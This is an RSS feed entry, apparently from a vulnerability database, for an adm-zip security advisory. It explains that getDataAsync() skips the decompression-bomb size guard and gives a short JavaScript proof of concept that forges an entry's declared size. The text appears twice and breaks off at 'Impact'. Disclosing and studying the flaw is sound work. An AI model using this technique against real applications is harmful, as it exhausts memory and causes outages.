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      <title>GHSA-c6fg-446q-cg94 — adm-zip: getDataAsync() bypasses the maxOutputLength size guard enforced by the synchronous getData() path</title>
      <link>https://db.gcve.eu/vuln/ghsa-c6fg-446q-cg94</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: adm-zip&lt;/p&gt;
&lt;p&gt;### Summary
adm-zip enforces a `maxOutputLength` guard against decompression bombs on its synchronous `getData()` path, but the equivalent asynchronous `getDataAsync()` path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry&amp;#39;s declared size. An application that checks an entry&amp;#39;s declared size before deciding to process it, then reads the entry via `getDataAsync()` (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;- `methods/inflater.js:3-10` passes `{maxOutputLength: expectedLength}` to `inflateRawSync`, which Node enforces.
- `methods/inflater.js:12-31` passes the same option to `createInflateRaw` but never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```js
const AdmZip = require(&amp;#39;adm-zip&amp;#39;);
const zip = new AdmZip();
zip.addFile(&amp;#39;p&amp;#39;, Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB
const raw = Buffer.from(zip.toBuffer());
// patch the local + central declared uncompressed size to 1 byte
raw.writeUInt32LE(1, localHeaderSizeOffset);
raw.writeUInt32LE(1, centralHeaderSizeOffset);
const entry = new AdmZip(raw).getEntry(&amp;#39;p&amp;#39;);&lt;/p&gt;
&lt;p&gt;entry.getData();
// throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes&lt;/p&gt;
&lt;p&gt;entry.getDataAsync((data, error) =&amp;gt; { ... });
// returns the full 67,108,864-byte buffer, error is undefined
```&lt;/p&gt;
&lt;p&gt;### Impact
An application…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: adm-zip&lt;/p&gt;
&lt;p&gt;### Summary
adm-zip enforces a `maxOutputLength` guard against decompression bombs on its synchronous `getData()` path, but the equivalent asynchronous `getDataAsync()` path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry&amp;#39;s declared size. An application that checks an entry&amp;#39;s declared size before deciding to process it, then reads the entry via `getDataAsync()` (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;- `methods/inflater.js:3-10` passes `{maxOutputLength: expectedLength}` to `inflateRawSync`, which Node enforces.
- `methods/inflater.js:12-31` passes the same option to `createInflateRaw` but never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```js
const AdmZip = require(&amp;#39;adm-zip&amp;#39;);
const zip = new AdmZip();
zip.addFile(&amp;#39;p&amp;#39;, Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB
const raw = Buffer.from(zip.toBuffer());
// patch the local + central declared uncompressed size to 1 byte
raw.writeUInt32LE(1, localHeaderSizeOffset);
raw.writeUInt32LE(1, centralHeaderSizeOffset);
const entry = new AdmZip(raw).getEntry(&amp;#39;p&amp;#39;);&lt;/p&gt;
&lt;p&gt;entry.getData();
// throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes&lt;/p&gt;
&lt;p&gt;entry.getDataAsync((data, error) =&amp;gt; { ... });
// returns the full 67,108,864-byte buffer, error is undefined
```&lt;/p&gt;
&lt;p&gt;### Impact
An application…&lt;/p&gt;</content:encoded>
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